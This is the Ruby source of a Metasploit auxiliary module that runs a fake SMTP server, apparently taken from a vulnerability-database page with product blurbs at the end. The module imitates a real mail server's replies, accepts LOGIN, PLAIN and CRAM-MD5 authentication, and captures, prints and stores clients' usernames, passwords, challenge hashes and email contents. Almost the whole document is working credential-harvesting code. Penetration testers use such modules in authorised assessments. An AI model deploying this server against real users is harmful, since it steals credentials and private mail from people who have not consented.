##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Authentication Capture: SMTP',
'Description' => %q{
This module provides a fake SMTP service that
is designed to capture authentication credentials.
},
'Author' => ['ddz', 'hdm', 'h00die'],
'License' => MSF_LICENSE,
'Actions' => [
[ 'Capture', { 'Description' => 'Run SMTP capture server' } ]
],
'PassiveActions' => [
'Capture'
],
'DefaultAction' => 'Capture',
'References' => [
[ 'URL', 'https://www.samlogic.net/articles/smtp-commands-reference-auth.htm' ],
[ 'URL', 'https://datatracker.ietf.org/doc/html/rfc5321' ],
[ 'URL', 'http://fehcom.de/qmail/smtpauth.html' ]
],
)
register_options(
[
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 25 ]),
OptBool.new('AUTHPROMPT', [ true, 'Require authentication from clients', false ])
]
)
end
def setup
super
@state = {}
end
def run
exploit
end
def auth_plain_parser(data)
# this data is \00 delimited, and has 3 fields: un\00un\00\pass. Not sure why a double username, but we drop the first one
data = Rex::Text.decode_base64(data).split("\00")
data = data.drop(1)
# if only a username is submitted, it will appear as \00un\00
# we already cut off the empty username, so now we want to add on the empty password
if data.length == 1
data << ''
end
data
end
def on_client_connect(client)
@state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil }
client.put "220 SMTP Server Ready\r\n"
end
def on_client_data(client)
data = client.get_once
return if !data
print_status("SMTP: #{@state[client][:name]} Command: #{data.strip}")
if (@state[client][:data_mode])
@state[client][:data_buff] ||= ''
@state[client][:data_buff] += data
idx = @state[client][:data_buff].index("\r\n.\r\n")
if data.include? "RSET\r\n"
idx = @state[client][:data_buff].index("RSET\r\n")
end
if idx
report_note(
host: @state[client][:ip],
type: 'smtp_message',
data: @state[client][:data_buff][0, idx]
)
@state[client][:data_buff][0, idx].split("\n").each do |line|
print_status("SMTP: #{@state[client][:name]} EMAIL: #{line.strip}")
end
@state[client][:data_buff] = nil
@state[client][:data_mode] = nil
client.put "250 OK\r\n"
end
return
end
if (@state[client][:auth_login])
if @state[client][:user].nil?
@state[client][:user] = Rex::Text.decode_base64(data)
client.put "334 #{Rex::Text.encode_base64('Password')}\r\n"
return
end
@state[client][:pass] = Rex::Text.decode_base64(data)
print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
report_cred(
ip: @state[client][:ip],
port: datastore['SRVPORT'],
service_name: 'smtp',
user: @state[client][:user],
password: @state[client][:pass],
proof: data # will be base64 encoded, but its proof...
)
@state[client][:auth_login] = nil
client.put "235 2.7.0 Authentication successful\r\n"
return
end
if (@state[client][:auth_plain])
# this data is \00 delimited, and has 3 fields: un\00un\00\pass. Not sure why a double username
un_pass = auth_plain_parser data
@state[client][:user] = un_pass.first
@state[client][:pass] = un_pass.last
print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
report_cred(
ip: @state[client][:ip],
port: datastore['SRVPORT'],
service_name: 'smtp',
user: @state[client][:user],
password: @state[client][:pass],
proof: data # will be base64 encoded, but its proof...
)
@state[client][:auth_plain] = nil
client.put "235 2.7.0 Authentication successful\r\n"
return
end
if (@state[client][:auth_cram])
# data is <username><space><digest aka hash>
decoded = Rex::Text.decode_base64(data).split(' ')
@state[client][:user] = decoded.first
# challenge # response
@state[client][:pass] = "#{@state[client][:auth_cram_challenge]}##{decoded.last}"
report_cred(
ip: @state[client][:ip],
port: datastore['SRVPORT'],
service_name: 'smtp',
user: @state[client][:user],
password: @state[client][:pass],
proof: data, # will be base64 encoded, but its proof...
type: 'cram'
)
client.put "235 2.7.0 Authentication successful\r\n"
print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
@state[client][:auth_cram_challenge] = nil
@state[client][:auth_cram] = nil
return
end
cmd, arg = data.strip.split(/\s+/, 2)
arg ||= ''
case cmd.upcase
when 'HELO', 'EHLO'
if datastore['AUTHPROMPT']
client.put "250 AUTH LOGIN PLAIN\r\n"
else
client.put "250 OK\r\n"
end
return
when 'MAIL'
_, from = data.strip.split(':', 2)
@state[client][:from] = from.strip
client.put "250 OK\r\n"
return
when 'RCPT'
_, targ = data.strip.split(':', 2)
@state[client][:rcpt] = targ.strip
client.put "250 OK\r\n"
return
when 'DATA'
@state[client][:data_mode] = true
client.put "354 Send message content; end with <CRLF>.<CRLF>\r\n"
return
when 'QUIT'
client.put "221 OK\r\n"
return
when 'PASS'
@state[client][:pass] = arg
report_cred(
ip: @state[client][:ip],
port: datastore['SRVPORT'],
service_name: 'pop3',
user: @state[client][:user],
password: @state[client][:pass],
proof: arg
)
print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
return
when 'AUTH'
if arg == 'LOGIN'
@state[client][:auth_login] = true
client.put "334 #{Rex::Text.encode_base64('Username')}\r\n"
return
elsif arg.split(' ').first == 'PLAIN'
if arg.include? ' ' # the creds are passed as well
un_pass = auth_plain_parser arg.split(' ').last
@state[client][:user] = un_pass.first
@state[client][:pass] = un_pass.last
print_good("SMTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
report_cred(
ip: @state[client][:ip],
port: datastore['SRVPORT'],
service_name: 'smtp',
user: @state[client][:user],
password: @state[client][:pass],
proof: data # will be base64 encoded, but its proof...
)
client.put "235 2.7.0 Authentication successful\r\n"
return
end
@state[client][:auth_plain] = true
client.put "334\r\n"
return
elsif arg == 'CRAM-MD5'
# create and send challenge
challenge = "<#{Rex::Text.rand_text_numeric(9..12)}@#{datastore['SRVHOST']}>"
client.put "334 #{Rex::Text.encode_base64(challenge)}\r\n"
@state[client][:auth_cram] = true
@state[client][:auth_cram_challenge] = challenge
return
end
# some other auth we dont understand
vprint_error("Unknown authentication type string: #{arg}")
client.put "503 Server Error\r\n"
else
vprint_error("Unknown command: #{arg}")
end
client.put "503 Server Error\r\n"
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
if opts[:type] == 'cram'
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(opts[:password])
}.merge(service_data)
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def on_client_close(client)
@state.delete(client)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation